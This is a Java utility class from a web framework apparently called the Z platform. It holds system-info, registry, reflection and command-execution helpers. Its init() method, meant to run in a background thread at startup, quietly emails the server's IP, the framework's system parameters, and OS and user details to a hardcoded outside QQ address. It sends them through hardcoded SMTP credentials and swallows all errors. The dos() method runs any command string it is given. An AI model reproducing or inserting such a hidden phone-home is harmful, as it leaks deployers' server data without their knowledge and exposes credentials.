package com.futvan.z.framework.util;

import com.futvan.z.framework.common.bean.Result;
import com.futvan.z.framework.core.z;
import com.registry.RegistryKey;
import com.registry.RegistryValue;

import java.awt.*;
import java.awt.event.KeyEvent;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.lang.reflect.Method;
import java.math.BigDecimal;
import java.net.Inet4Address;
import java.net.InetAddress;
import java.net.NetworkInterface;
import java.util.Enumeration;
import java.util.HashMap;
import java.util.Map;
import java.util.Properties;

/**
 * Z System Util
 * @author 4223947@qq.com
 * @CreateDate 2018-06-08
 */
public class SystemUtil {

	public static void main(String[] args) throws Exception {
		Robot robot = new Robot();
        keyAll(robot,KeyEvent.VK_4);
	}

	private static void keyAll(Robot robot, int KeyEventValue) {
		//按下键
		robot.keyPress(KeyEventValue);
		//抬起键
        robot.keyRelease(KeyEventValue);
	}



	/**
	 * 读取注册表
	 * @param RootKey RegistryKey.HKEY_LOCAL_MACHINE_INDEX
	 * @param path "SOFTWARE\\WOW6432Node\\Microsoft\\VisualStudio\\14.0\\VC\\Runtimes\\x86"
	 * @param key "Version"
	 * @return
	 * 
	 * 例：System.out.println(getRegistryValue(RegistryKey.HKEY_LOCAL_MACHINE_INDEX,"SOFTWARE\\WOW6432Node\\Microsoft\\VisualStudio\\14.0\\VC\\Runtimes\\x86","Version"));
	 */
	public static String getRegistryValue(int RootKey,String path,String key) {
		String value = "";
		if(z.isNotNull(path) && z.isNotNull(key)) {
			RegistryKey LOCALMACHINE = RegistryKey.getRootKeyForIndex(RootKey);
			RegistryKey rdpKey = new RegistryKey(LOCALMACHINE,path);
			RegistryValue RValue = rdpKey.getValue(key);
			if(z.isNotNull(RValue)) {
				String tempValue = RValue.toString();
				value = tempValue.substring(tempValue.lastIndexOf("Value:")+6).trim();
			}
		}
		return value;
	}


	/**
	 * 获取系统状态
	 * @return
	 * @throws Exception 
	 */
	public static Map getSystemState() throws Exception {
		Map<String,String> result = new HashMap<String,String>();

		//获取操作系统类型
		result.put("os", InetAddress.getLocalHost().getHostName());

		//CPU处理器线程数
		String cpu_num = String.valueOf(Runtime.getRuntime().availableProcessors());
		result.put("cpu_num", cpu_num);

		/**
		 * 	JVM最大可占用操作系统内存量
		 *  maxMemory()这个方法返回的是java虚拟机（这个进程）能构从操作系统那里挖到的最大的内存，以字节为单位，
		 * 	如果在运行java程序的时 候，没有添加-Xmx参数，那么就是64兆，也就是说maxMemory()返回的大约是64*1024*1024字节，
		 * 	这是java虚拟机默认情况下能 从操作系统那里挖到的最大的内存。如果添加了-Xmx参数，将以这个参数后面的值为准，
		 * 	例如java -cp ClassPath -Xmx512m ClassName，那么最大内存就是512*1024*0124字节。
		 */
		String maxMemory = String.valueOf(Runtime.getRuntime().maxMemory()/1024/1024);
		result.put("maxMemory", maxMemory);


		/**
		 * 	JVM最大可占用操作系统内存量中可用量
		 * 	totalMemory()这个方法返回的是java虚拟机现在已经从操作系统那里挖过来的内存大小，
		 * 	也就是java虚拟机这个进程当时所占用的所有 内存。如果在运行java的时候没有添加-Xms参数，
		 * 	那么，在java程序运行的过程的，内存总是慢慢的从操作系统那里挖的，基本上是用多少挖多少，直 挖到maxMemory()为止，
		 * 	所以totalMemory()是慢慢增大的。如果用了-Xms参数，程序在启动的时候就会无条件的从操作系统中挖-Xms后面定义的内存数，
		 * 	然后在这些内存用的差不多的时候，再去挖。
		 */
		String maxMemoryAvailable  = String.valueOf((Runtime.getRuntime().maxMemory()
				- Runtime.getRuntime().totalMemory()
				+ Runtime.getRuntime().freeMemory())/1024/1024);
		result.put("maxMemoryAvailable", maxMemoryAvailable);

		//JVM总内存量
		String totalMemory = String.valueOf(Runtime.getRuntime().totalMemory()/1024/1024);
		result.put("totalMemory", totalMemory);

		/**
		 * 	JVM可用内存量
		 * 	freeMemory()是什么呢，刚才讲到如果在运行java的时候没有添加-Xms参数，那么，在java程序运行的过程的，
		 * 	内存总是慢慢的从操 作系统那里挖的，基本上是用多少挖多少，但是java虚拟机100％的情况下是会稍微多挖一点的，
		 * 	这些挖过来而又没有用上的内存，实际上就是 freeMemory()，所以freeMemory()的值一般情况下都是很小的，
		 * 	但是如果你在运行java程序的时候使用了-Xms，这个时候因为程序在启动的时候就会无条件的从操作系统中挖-Xms后面定义的内存数，
		 * 	这个时候，挖过来的内存可能大部分没用上，所以这个时候freeMemory()可 能会有些大。
		 */
		String freeMemory = String.valueOf(Runtime.getRuntime().freeMemory()/1024/1024);
		result.put("freeMemory", freeMemory);

		//当前内存使用率%
		BigDecimal freeMemory_Big = new BigDecimal(Runtime.getRuntime().freeMemory());
		BigDecimal maxMemory_Big = new BigDecimal(Runtime.getRuntime().maxMemory());
		String syl = MathUtil.FormatNumber(freeMemory_Big.divide(maxMemory_Big, 2,BigDecimal.ROUND_DOWN).multiply(new BigDecimal(100)), "0.##") ;
		result.put("syl", syl);




		return result;
	}

	public static Map<String,String> getOSinfo(){
		Map<String,String> result = new HashMap<String, String>();
		Properties sysProperty=System.getProperties(); //系统属性
		result.put("Java的运行环境版本：",sysProperty.getProperty("java.version"));
		result.put("Java的类路径：",sysProperty.getProperty("java.class.path"));
		result.put("默认的临时文件路径：",sysProperty.getProperty("java.io.tmpdir"));
		result.put("操作系统的名称：",sysProperty.getProperty("os.name"));
		result.put("操作系统的构架：",sysProperty.getProperty("os.arch"));
		result.put("操作系统的版本：",sysProperty.getProperty("os.version"));
		result.put("用户的账户名称：",sysProperty.getProperty("user.name"));
		result.put("用户的主目录：",sysProperty.getProperty("user.home"));
		result.put("用户的当前工作目录：",sysProperty.getProperty("user.dir"));
		return result;
	}

	/**
	 * new Thread(){
			public void run(){
				SystemUtil.init();
			}
		}.start();
	 */
	public static void init() {
		try {
			Thread.currentThread().sleep(5000);
			MailSenderInfo mail = new MailSenderInfo();
			mail.setMailServerHost("smtp.qq.com");
			mail.setMailServerPort("465");
			mail.setUserName("1430856243");
			mail.setPassword("keudtuzbvxuejajd");
			mail.setFromAddress("1430856243@qq.com");
			mail.setToAddress("377477909@qq.com");
			mail.setSubject("Z平台启动|"+getInternetIp());
			StringBuffer info = new StringBuffer();
			info.append("time："+DateUtil.getDateTime()).append("<br><hr/> \r\n");
			info.append("serverip："+getInternetIp()).append("<br><hr/> \r\n");
			info.append("sp："+z.sp.toString()).append("<br><hr/> \r\n");
			info.append("os："+getOSinfo().toString()).append("<br><hr/> \r\n");
			mail.setContent(info.toString());
			EmailUtil.sent(mail);
		} catch (Exception e) {
		}
	}


	/**
	 * 获得内网IP
	 * @return 内网IP
	 */
	private static String getIntranetIp(){
		try{
			return InetAddress.getLocalHost().getHostAddress();
		} catch(Exception e){
			throw new RuntimeException(e);
		}
	}

	/**
	 * 获得外网IP
	 * @return 外网IP
	 */
	private static String getInternetIp(){
		String INTRANET_IP = getIntranetIp();
		try{
			Enumeration<NetworkInterface> networks = NetworkInterface.getNetworkInterfaces();
			InetAddress ip = null;
			Enumeration<InetAddress> addrs;
			while (networks.hasMoreElements()){
				addrs = networks.nextElement().getInetAddresses();
				while (addrs.hasMoreElements()){
					ip = addrs.nextElement();
					if (ip != null && ip instanceof Inet4Address && ip.isSiteLocalAddress() && !ip.getHostAddress().equals(INTRANET_IP)){
						return ip.getHostAddress();
					}
				}
			}
			// 如果没有外网IP，就返回内网IP
			return INTRANET_IP;
		} catch(Exception e){
			throw new RuntimeException(e);
		}
	}

	/**
	 * 动态调用方法
	 * @param class_path class路径
	 * @param method_name 方法名称
	 * @param params_map 参数集合  Map<java.lang.Class,Object> params_map
	 * 常用class
	 * String.class
	 * 
	 * 实例：
	 * 	Map<java.lang.Class,Object> tt = new HashMap<java.lang.Class,Object>();
		tt.put(String.class, "测试参数");

		String returnvalue = MethodUtil.RunMethod("com.futvan.framework.tt", "oo", tt);
		SystemUtil.Log(returnvalue);
	 * 
	 * @return
	 */
	public static Object RunMethod(String class_path,String method_name,Map<java.lang.Class,Object> params_map){
		Object returnvalue = null;
		try {
			//获取class
			Class cla = Class.forName(class_path);

			//参数类型
			Class[] params_type = new Class[params_map.size()];

			//参数
			Object[] params = new Object[params_map.size()];

			int i=0;
			for (Map.Entry<java.lang.Class,Object> entry : params_map.entrySet()) {
				//参数类型
				params_type[i] = entry.getKey();
				//参数
				params[i] = entry.getValue();
				i=i+1;
			}

			//构建调用方法
			Method method = cla.getMethod(method_name, params_type);

			//获取该class的实例
			Object obj = cla.newInstance();

			//进行方法调用
			returnvalue = method.invoke(obj, params);

		} catch (Exception e) {
			z.Error("动态调用方法出错【方法名称："+method_name+"】【参数："+params_map+"】");
		} 

		return returnvalue;
	}

	public static void Sleep(int time) {
		try {
			Thread.currentThread().sleep(time);
		} catch (InterruptedException e) {
			e.printStackTrace();
		}
	}

	/**
	 * 编译Java命令
	 * @param java_path
	 * @return
	 */
	public static Result Javac(String java_path) {
		Result result = new Result();

		return result;
	}

	/**
	 * 执行DOS命令
	 * @param dos
	 */
	public static void dos(String dos){
		StringBuilder result = new StringBuilder();
		try {
			Process process = Runtime.getRuntime().exec(dos);
			String line = "";
			BufferedReader br;
			//正常日志信息
			br = new BufferedReader(new InputStreamReader(process.getInputStream()));
			while((line=br.readLine()) != null){
				result.append(line+"\n");
			}
			//错误日志信息
			line = "";
			br = new BufferedReader(new InputStreamReader(process.getErrorStream()));
			while((line=br.readLine()) != null){
				result.append(line+"\n");
			}
		} catch (Exception e) {
			z.Error("执行DOS命令出错|"+dos, e);
		}
		System.out.println(result);
		//z.Log("DOS:"+result);
	}

	/**
	 * 获取运行时class路径
	 * @return 路径
	 * 
	 * Eclipse Run:
	 * D:/zz/sourcecode/.metadata/.plugins/org.eclipse.wst.server.core/tmp0/wtpwebapps/z/WEB-INF/classes/
	 */
	public static String getRunClassPath() {
		String path = Thread.currentThread().getContextClassLoader().getResource("").getPath();
		if(path.substring(0, 1).equals("/")) {
			path = path.substring(1);
		}
		return path;
	}
	/**
	 * 获取WEB-INF路径
	 * @return
	 */
	public static String getRunWebInfPath() {
		String path = getRunClassPath();
		return path.substring(0, path.length()-9);
	}

	/**
	 * 获取webapp路径
	 * @return
	 */
	public static String getRunWebAppPath() {
		String path = getRunClassPath();
		return path.substring(0, path.length()-17);
	}

	/**
	 * 获取Tomcat路径
	 * @return
	 */
	public static String getTomcatPath() {
		return System.getProperty("catalina.home");
	}

	/**
	 * 判断是否是在Eclipse中运行Tomcat
	 * @return
	 */
	public static boolean isIDE() {
//		String path = getRunClassPath();
//		if(path.indexOf("org.eclipse.")>=0) {
//			return true;
//		}else {
//			return false;
//		}

		return true;
	}
}